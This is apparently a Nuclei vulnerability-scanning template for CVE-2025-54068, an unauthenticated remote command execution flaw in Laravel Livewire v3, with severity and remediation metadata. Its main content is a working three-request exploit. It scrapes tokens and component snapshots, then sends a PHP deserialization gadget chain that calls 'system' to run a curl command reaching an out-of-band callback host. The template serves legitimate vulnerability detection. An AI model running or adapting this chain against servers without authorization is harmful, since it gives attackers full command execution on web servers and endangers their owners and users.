Laravel Livewire v3 - Remote Command Execution

id: CVE-2025-54068

info:
  name: Laravel Livewire v3 - Remote Command Execution
  author: flame-11
  severity: critical
  description: |
    Livewire v3 (Laravel) contains a vulnerability in its component hydration/update mechanism that can be exploited to reach remote command execution (RCE) without authentication under certain conditions.
  impact: |
    An unauthenticated attacker may execute arbitrary commands in the web server context.
  remediation: |
    Upgrade livewire/livewire to a patched version (>= 3.6.4).
  reference:
    - https://github.com/livewire/livewire/security/advisories/GHSA-29cq-5w36-x7w3
    - https://github.com/synacktiv/Livepyre
    - https://www.synacktiv.com/en/publications/livewire-remote-command-execution-through-unmarshaling
    - https://www.synacktiv.com/sites/default/files/2025-09/slides-livewire-nullcon2025.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54068
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.8
    cve-id: CVE-2025-54068
    epss-score: 0.96284
    epss-percentile: 0.9988
    cwe-id: CWE-502
    cpe: cpe:2.3:a:laravel:livewire:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    shodan-query: html:"wire:id"
  tags: cve,cve2025,laravel,livewire,rce,deserialization,oast,intrusive,vkev,kev

flow: http(1) && http(2) && http(3)

variables:
  marker: "{{randstr}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(body, 'wire:snapshot=')"
          - "contains(body, 'data-update-uri=')"
          - "contains(body, 'data-csrf=') || contains(body, 'csrf-token')"
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        part: body
        group: 1
        internal: true
        regex:
          - 'data-csrf="([^"]+)"'
          - '"csrf"\s*:\s*"([^"]+)"'
          - '<meta name="csrf-token"\s+content="([^"]+)"'

      - type: regex
        name: update_uri
        part: body
        group: 1
        internal: true
        regex:
          - 'data-update-uri="([^"]+)"'
          - '"uri"\s*:\s*"([^"]+)"'

      - type: regex
        name: snapshot_attr
        part: body
        group: 1
        internal: true
        regex:
          - 'wire:snapshot="([^"]+)"'

      - type: regex
        name: param_name
        part: body
        group: 1
        internal: true
        regex:
          - 'wire:snapshot="[^"]*(?:&quot;data&quot;:\{&quot;|\"data\":\{\"?)([A-Za-z0-9_]+)'

  - method: POST
    path:
      - "{{BaseURL}}/{{trim_prefix(update_uri,'/')}}"
    headers:
      Content-Type: application/json
    body: |
      {
        "_token": "{{csrf_token}}",
        "components": [
          {
            "snapshot": "{{replace(replace(html_unescape(snapshot_attr),'\\','\\\\'),'\"','\\\"')}}",
            "updates": { "{{param_name}}": [] },
            "calls": []
          }
        ]
      }

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
          - "contains(body, 'snapshot')"
        condition: and

    extractors:
      - type: json
        name: snapshot_signed
        part: body
        internal: true
        json:
          - ".components[0].snapshot"

  - method: POST
    path:
      - "{{BaseURL}}/{{trim_prefix(update_uri,'/')}}"
    headers:
      Content-Type: application/json
    body: |
      {
        "_token": "{{csrf_token}}",
        "components": [
          {
            "snapshot": "{{replace(replace(snapshot_signed,'\\','\\\\'),'\"','\\\"')}}",
            "updates": {
              "{{param_name}}": [
                1,
                [
                  {
                    "a": [
                      {
                        "__toString": "phpversion",
                        "close": [
                          [
                            [
                              {
                                "chained": [
                                  "O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":4:{s:5:\"dummy\";O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{s:9:\"\u0000*\u0000events\";O:31:\"Illuminate\\Validation\\Validator\":1:{s:10:\"extensions\";a:1:{s:0:\"\";s:6:\"system\";}}s:8:\"\u0000*\u0000event\";s:{{len('curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}')}}:\"curl -m 4 -fsS http://{{interactsh-url}}/?q={{marker}}\";}s:10:\"connection\";N;s:5:\"queue\";N;s:5:\"event\";O:37:\"Illuminate\\Notifications\\Notification\":0:{}}"
                                ]
                              },
                              {
                                "s": "form",
                                "class": "Illuminate\\Broadcasting\\BroadcastEvent"
                              }
                            ],
                            "dispatchNextJobInChain"
                          ],
                          {
                            "s": "clctn",
                            "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                          }
                        ]
                      },
                      {
                        "s": "clctn",
                        "class": "GuzzleHttp\\Psr7\\FnStream"
                      }
                    ],
                    "b": [
                      {
                        "__toString": [
                          [
                            [
                              null,
                              {
                                "s": "mdl",
                                "class": "Laravel\\Prompts\\Terminal"
                              }
                            ],
                            "exit"
                          ],
                          {
                            "s": "clctn",
                            "class": "Laravel\\SerializableClosure\\Serializers\\Signed"
                          }
                        ]
                      },
                      {
                        "s": "clctn",
                        "class": "GuzzleHttp\\Psr7\\FnStream"
                      }
                    ]
                  },
                  {
                    "class": "League\\Flysystem\\UrlGeneration\\ShardedPrefixPublicUrlGenerator",
                    "s": "clctn"
                  }
                ]
              ]
            },
            "calls": []
          }
        ]
      }

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "?q={{marker}}"
# digest: 4a0a00473045022100d3059dcd142d1bcbef18044e42137ed01cea1b7548cb2531f0290f0a7fab979102200a3e45b9854ef58c79ed592b56c44d6093b46bc41c69339d87cfcfd954f178fe:922c64590222798bb761d5b6d8e72950